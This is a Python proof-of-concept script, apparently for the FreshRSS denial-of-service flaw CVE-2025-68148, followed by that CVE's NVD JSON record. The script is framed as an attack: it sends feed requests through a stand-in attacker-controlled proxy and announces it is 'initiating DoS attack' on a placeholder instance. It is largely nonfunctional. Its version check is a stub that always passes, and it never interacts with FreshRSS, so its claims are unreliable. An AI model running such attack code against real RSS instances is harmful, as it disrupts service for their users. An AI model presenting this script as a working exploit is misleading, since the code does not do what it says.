CVE-2025-68148

import requests import time """ CVE-2025-68148 PoC - FreshRSS订阅源拒绝服务 This PoC demonstrates how an attacker can trigger a denial of service by manipulating proxy responses to return 429 with large Retry-After values. """ def check_freshrss_version(target_url): """Check if FreshRSS version is vulnerable (1.27.0 - 1.28.0)""" try: response = requests.get(target_url, timeout=10) # Version check logic would go here return True except Exception as e: print(f"Error checking version: {e}") return False def trigger_dos_via_proxy(target_url, proxy_url, feed_urls): """ Simulate the DoS attack by making requests through a malicious proxy that returns 429 responses with large Retry-After values. Args: target_url: FreshRSS instance URL proxy_url: Malicious proxy URL feed_urls: List of feed URLs to target """ proxies = { 'http': proxy_url, 'https': proxy_url } headers = { 'User-Agent': 'FreshRSS/1.27.x', 'Accept': 'application/rss+xml, application/xml, text/xml' } for feed_url in feed_urls: try: # Request through malicious proxy response = requests.get( feed_url, proxies=proxies, headers=headers, timeout=30 ) # The malicious proxy would return: # HTTP/1.1 429 Too Many Requests # Retry-After: 86400 (24 hours) if response.status_code == 429: print(f"[+] DoS triggered for feed: {feed_url}") print(f"[+] Retry-After: {response.headers.get('Retry-After', 'N/A')}") except requests.exceptions.RequestException as e: print(f"[-] Error targeting {feed_url}: {e}") def verify_dos_effect(target_url, feed_urls): """Verify that feeds are now inaccessible due to cached 429 responses""" results = {'accessible': [], 'blocked': []} for feed_url in feed_urls: try: response = requests.get(feed_url, timeout=10) if response.status_code == 200: results['accessible'].append(feed_url) else: results['blocked'].append(feed_url) except: results['blocked'].append(feed_url) print(f"[+] Accessible feeds: {len(results['accessible'])}") print(f"[!] Blocked feeds: {len(results['blocked'])}") return results if __name__ == "__main__": TARGET = "https://vulnerable-freshrss-instance.com/" MALICIOUS_PROXY = "http://attacker-controlled-proxy.com:8080" FEED_LIST = [ "https://example1.com/feed", "https://example2.com/feed", "https://example3.com/feed" ] print("CVE-2025-68148 - FreshRSS DoS via Proxy Response Manipulation") print("=" * 60) if check_freshrss_version(TARGET): print("[*] Target appears to be running vulnerable version") print("[*] Initiating DoS attack via proxy manipulation...") trigger_dos_via_proxy(TARGET, MALICIOUS_PROXY, FEED_LIST) print("[*] Verifying attack effectiveness...") verify_dos_effect(TARGET, FEED_LIST)

{"cve": {"id": "CVE-2025-68148", "sourceIdentifier": "[email protected]", "published": "2025-12-27T00:15:42.167", "lastModified": "2025-12-31T21:16:56.580", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreshRSS is a free, self-hostable RSS aggregator. From version 1.27.0 to before 1.28.0, An attacker could globally deny access to feeds via proxy modifying to 429 Retry-After for a large list of feeds on given instance, making it unusable for majority of users. This issue has been patched in version 1.28.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freshrss:freshrss:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.27.0", "versionEndExcluding": "1.28.0", "matchCriteriaId": "78C074CB-5A8F-4811-8AFE-6CD10A20A88F"}]}]}], "references": [{"url": "https://github.com/FreshRSS/FreshRSS/commit/7d4854a0a4f5665db599f18c34035786465639f3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/FreshRSS/FreshRSS/pull/8029", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/FreshRSS/FreshRSS/security/advisories/GHSA-qw34-frg7-gf78", "source": "[email protected]", "tags": ["Exploit", "Patch", "Vendor Advisory"]}, {"url": "https://github.com/FreshRSS/FreshRSS/security/advisories/GHSA-qw34-frg7-gf78", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Patch", "Vendor Advisory"]}]}}